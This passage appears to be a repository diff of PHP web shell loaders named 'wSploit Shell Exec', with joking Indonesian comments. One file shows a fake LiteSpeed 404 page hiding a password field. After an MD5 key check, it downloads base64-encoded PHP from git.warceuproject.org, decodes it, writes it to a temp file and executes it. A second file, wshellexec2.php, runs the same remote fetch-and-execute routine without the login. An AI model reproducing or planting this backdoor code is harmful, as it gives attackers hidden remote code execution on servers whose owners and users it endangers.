<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;" __processed_64252ced-4d94-4245-be43-a68f02a4ae28__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJlbmFibGVkIiwiRkFDRUJPT0siOiJlbmFibGVkIiwiVFdJVFRFUiI6ImVuYWJsZWQiLCJSRURESVQiOiJlbmFibGVkIiwiUElOVEVSRVNUIjoiZW5hYmxlZCIsIklOU1RBR1JBTSI6ImVuYWJsZWQiLCJMSU5LRURJTiI6ImRpc2FibGVkIiwiQ09ORklHIjoiZGlzYWJsZWQifSwidmVyc2lvbiI6IjIuMC4xNiIsInNjb3JlIjoyMDAxNjB9XQ==">
<div style="height:auto; min-height:100%; " bis_skin_checked="1"> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;" bis_skin_checked="1">
<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>
<h2 style="margin-top:20px;font-size: 30px;">Not Found
</h2>
<p>The resource requested could not be found on this server!</p>
<?php if ($error_message): ?>
<p style="color: red;"><?php echo $error_message; ?></p>
<?php endif; ?>
<form method="post" action="">
<label for="key"></label>
<input class="inputkey" type="password" name="key" id="key" required>
</form>
</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;" bis_skin_checked="1">
<br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div>
</body>
</html>
<?php
}
// Fungsi Menuju Indonesia Cemas
function show_dashboard() {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>wSploit Shell Exec</title>
</head>
<body>
<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/enwshell'; // Rute ke API
$encoded_code = get_contents($url);
$decoded_code = base64_decode($encoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $decoded_code);
require_once $tempFile;
unlink($tempFile);
?>
<a href="?action=logout">Logout</a>
</body>
</html>
<?php
}
// Cek apakah Dia Ingin keluar hati
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
session_destroy();
header("Location: ?"); // Redirect ke Hati orang lain
exit;
}
// Cek apakah Dia sudah memiliki seseorang?
$error_message = '';
if (isset($_POST['key'])) {
$input_key = $_POST['key'];
$input_key_hash = md5($input_key);
// Cek apakah Cintaku padanya di terima?
if ($input_key_hash === $valid_key_hash) {
$_SESSION['loggedin'] = true;
header("Location: ?"); // Redirect ke Hati Dia untuk refresh
exit;
} else {
$error_message = "hatimu Tidak di terima, Cobalah untuk sadar diri!"; // Kesalahan Hati
}
}
// Jika sudah login kehatinya, Anda Sudah jadi Pacarnya
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
show_dashboard();
} else {
// Jika belum login Ke hatinya atau Atau dia tidak menerima kekurangan mu, Maka kembali ke Plan B(Pelet Dia Ajeegg)
show_login_form($error_message);
}
?>

27
shell/wshellexec2.php Normal file
View File

@ -0,0 +1,27 @@
<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/enwshell';
$encoded_code = get_contents($url);
$decoded_code = base64_decode($encoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $decoded_code);
require_once $tempFile;
unlink($tempFile);
?>